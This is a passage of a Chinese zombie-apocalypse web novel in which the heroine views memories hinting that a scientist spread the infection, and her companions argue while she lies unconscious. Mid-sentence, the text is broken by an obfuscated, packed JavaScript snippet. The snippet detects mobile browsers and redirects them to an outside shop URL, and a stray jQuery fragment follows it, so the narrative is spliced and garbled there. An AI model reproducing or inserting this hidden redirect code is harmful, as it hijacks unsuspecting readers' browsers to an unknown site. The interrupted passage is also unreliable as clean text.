再亮起时,女孩长大了很多,大概十七八岁,眉眼像山水画般展开,只是低着头,双腿无力地垂在轮椅下。
凌润秋静静看着。
那是萧钰岚。
她坐在轮椅上,坐姿诡异地端正,身侧的沙发里窝着个瘦脱相的中年女人。
客厅里,电视在放着节目。是个亲子互动综艺,讲的是野外互动。
两人都没有说话,静静盯着发光屏幕。
半晌后,中年女人转头,五官死亡般僵硬,脖颈随着动作发出摩擦声,像冻了不知道多久的死肉。
凌润秋看见萧钰岚放在身前的手扣紧了,表情紧绷。
下一刻,女孩的脸上被骤然扇了巴掌。
沙发上的人活了过来,看着女儿被打到歪过去的脸,她表情猛地炸开,像被炮火点燃的冰块。
凌润秋看到了仿佛血盆般的无底洞。
“我生你到底是为什么,啊?小b子,和外人一起把你爹送进监狱了,这就是你的本事,对不对?”
“你给我说话!”
接连不断的拳脚相加。
记忆在这里断层,之后是大片大片的空白,再有光亮时,周围充满了嘈杂的叫喊。
“上面住着的婶子也被感染了,已经开始吐白沫了。”
“她还有个女儿,能救吗?”
“凶多吉少,一个残废活下来也是累赘,走,走!”
应该是病毒刚爆发的时候,整个楼道充斥着凌乱的脚步声和嘶哑的吼叫,底下更是一片混乱,街道上充满慌乱逃窜的人,有的刚上车就被丧尸连车带人一起掀翻。
二十层的高楼里,人声和脚步渐渐远去。
客厅内,女人颤抖挣扎的尸体倒在地上,白眼翻得很高,手指拧成诡异的形状,挣扎着伸向身侧。
萧钰岚坐在轮椅里,脸上面无表情。
在她面前,站着一个熟悉的身影。
那女人披着件雪色白大褂,头发盘成利落的圆,脸上看不出岁月的痕迹。
在她手上,是把装满针剂的注射枪。
凌润秋瞳孔猛地一缩。
那是导致人类变异的感染药剂。
怎么会在这时出现在王杨手上,这鬼东西,不是在总部建立几年后才研发的吗?
她心头鼓动剧烈。
王杨踹了脚在旁边挣扎翻滚的女人,对萧钰岚扬扬下巴。
“最近练习得很不错,好孩子,还记得我对你说过,变成这种东西的人该怎么处理吗?”
轮椅上的女孩寒眉冷目,看着面前人的眼神里完全没有畏惧。
凌润秋见她拉开电容枪的开关。
萧钰岚的声音淡淡,看着地上被自己枪口对准的生母,表情像新生机器般没有起伏。
“斩草除根。”
记忆再次黑下去。
B区的场景慢慢出现在面前。凌润秋看了一圈。
这时候规模那么大,只有几条街道里有零星的机器人。
她站在一个小楼顶。
区域边缘处,王杨正蹲下身,背对着萧钰岚检查地上的防线。
女孩穿着身棕色的长裙,配饰仍旧繁琐好看,在阳光下闪出明亮的光。
王杨没有回头,“你确定要留那个小子?他长得确实不错,感兴趣?”
萧钰岚没有回答:“建这样的防线,有必要吗?”
凌润秋看着王杨慢吞吞起身,女人叹口气,“抓人嘛,研究所那么多人,要是不小心跑了一个,岂不可惜?”
女孩挑挑眉,“宋家送来的会跑?”
“那倒是不会,小炎是被老宋头指示,自愿来的。你说他怎么就那么会教育?培养出来的儿子都这么听话?指哪打哪?”
萧钰岚嗤笑了声,“可我看他天资平平,难不成宋爷爷活了一百多年,不中用了?”
“唉~”,王杨摆摆手,“话不能这么说,哪能谁都像你这么优秀呢?而且老宋头孩子多,小炎却是其中最像他的一个。”
“这有什么关联?”
王杨笑意盎然,换话题速度很快,“你为什么选那个小子?”
萧钰岚被打断,碰到女人的八卦目光猛地别回头,眉头皱起,过了会才开口,“我之前见过他,训练前。”
“这么早就有情啦?”
萧钰岚憋了又憋,还是没忍住,“你总是能时刻提醒到我,站在面前的是一个早就该埋棺材的老人。”
王杨放声大笑。
记忆片段全部播放完毕,过去像潮水般褪去,凌润秋重新回到海里。
缓了好半天,她还是没从信息量中理出来。
王杨居然在末世刚开始就有感染针剂。
可这是根本不成立,所有资料记载里,丧尸感染都是天灾,根本没有具体产生原因。
还有宋炎的能力。
宋彬宋慕不是都说他天赋异禀,是自然继承了老爷子的火异能吗?
既然如此,又为什么会去实验室?
萧钰岚高墙上说的借意识,又是借给了谁?
还有她很早遇见的,用恶心黑色物质来当傀儡的没品货。
那背后的操控者是谁?宋炎吗?
如果真的是这样,王杨在末世初就有感染病毒,超市里的意外遇袭……
她想起之前深夜闪过的念头。
为什么丧尸源源不断?
现在还可以加一个,为什么像A区总部那样规模的基地,能在病毒爆发后不久快速建立?
恰好占据矿产水源的风水宝地,又拥有先进的保护屏障,甚至可以在几年后展开科研,为感染药剂的出现背锅。
从萧钰岚的记忆里可以看出,王杨和宋老爷子关系匪浅,如果病毒真的是凌润秋想的那样,被王杨主动传播。
那么他们的目的是什么?宋老头把天资平平的大儿子送去研发,是爱子心切,还是单纯利用?
萧钰岚对此又知道多少,还有回忆里她救萧文,又是什么原因?
丧尸爆发,真的只是场不可避免的天灾?
鸡皮疙瘩传遍全身。她揉揉眉心,有瞬间知道老天爷为什么让她来了。
换个人,恐怕都解决不了。
她再次在黑水中游,这次很顺利地找到了丧尸的红边记忆,她伸手触碰,闭上眼进入其中。
面前场景缓慢展现。
看清的瞬间,凌润秋先是一愣,随后开始拼命调动和对外界相连的感官。
企图晃动那把能救她命的铃。
——
咖啡馆里,在客厅床垫上,凌润秋表情安详地躺着,双手平放在身侧。
她的脸颊带了微微的婴儿肥,五官优越傲人,唇色并不深,形状却非常好看。
剩余四个人正围着她团团坐,气氛却非常古怪。
比如萧钰岚每隔几分钟就会表情不耐地闭上眼,但是到底顾及床上的凌润秋,没有坐飞行器离开。
萧文折腾累了,躺在她的身侧,揪了点衣角蜷成一团睡觉。
过了会,左手边的宋慕实在是受不了,她试探着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722756|207633||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
开口:“沈清,你对岚岚……和我,是不是一直有什么误解?”
坐在床边椅子上的人闻言,没有什么表情地抬头。
与此同时,同样坐在左侧床垫上的萧钰岚发出声哼笑。
“我觉得没有误解”,她看着沈清,美目里满是嫌弃,“毕竟和神经病计较是件蠢事。”
男人表情有瞬间凶狠。
宋慕叹口气补充道:“之前出于种种原因没打算说,但是现在……既然你有那个心,凌姐姐又对我们很好,就总得问清楚。你有什么想说的吗?”
沈清的火随着这些话慢慢消失。
床垫上的萧钰岚也率先别开头,先给了台阶,但还是非常嫌弃的样子。
男人抿几下唇。
宋慕继续充当和事佬,“老实讲最开始,我一直劝姐姐远离你。因为你阴晴不定,不知道什么时候就要发火,还想用钢管偷袭。”
被提起往事,椅子上的人浑身僵硬。
“更别说其他,姐姐能想到的那些我也都知道,包括你不阻止我超负荷工作,还有阻拦凌姐姐去总部的事。”
慕:“除了不让凌姐姐去总部,其他的事情给人感觉都很糟糕。你像是不会尊重人又非常自我,总之,很差劲。”
沈清抿了抿唇,彻底不说话了。
宋慕继续:“但是不可否认,你对基地的建设贡献了一部分,也确实没有将脑海里的东西付出实际。”
“所以,我现在要问你,为什么对我们有敌意,还有最重要的。”
“你能照顾好凌姐姐吗?”
沈清想起了小时候在他面前死掉的同学。
不知出于什么心理,他被带回地下室后,向王杨说过。
没有添油加醋,没有情绪起伏,就是单纯地说着,像在重复一部看过的电影。
科学家听完后也没什么表情,只是淡淡地将他推进房间内,扔过来管药剂。
头一次对他说出了实验之外的话。
“治疗心理疾病的。”
小小的沈清低头拿起那管东西,看了几秒,抬起手,听话地注射体内。
他想,那管药剂应该是没有作用的,王杨大概也清楚,幼年造成的创伤很难轻易恢复,她主动将儿子隔离出人群,赋予他和正常小孩皆然不同的经历。
这样不可能养出一个“孩子”,科学家清楚这点。
沈清早就失去了共情能力。
但是现在。坐在椅子上,他抬起头,看向躺在床上的女孩。
他感觉到了。
对方不仅唤起了他的占有,也用实力赢得了他的肯定。
钦佩和肯定压倒了控制,在见到凌润秋可以靠自身做到那么多事的瞬间,他彻底被女孩的人格魅力征服。
被时间打磨出的心甘情愿那么坚固,早就不知不觉,占据了他所有的观感,也推动着他做出改变。
所以,他回答。
“我为之前的事道歉,我喜欢她,就不想看见她眼里有别人。”
床上的两个女孩同时皱起眉。
沈清继续说:“我会做出改变,照顾好她。”
作为朋友的宋慕还是皱着眉,“好吧。”
于是这场世纪对谈彻底结束,三个人继续坐着,紧盯床上凌润秋的状态。
宋慕欲言又止,最后还是选择唠叨道:“但要是姐姐没有那个想法,死缠烂打可……”
床上的凌润秋突然紧皱起眉,同时,右侧握铃的手在剧烈颤抖。
铃铛终于响出声音。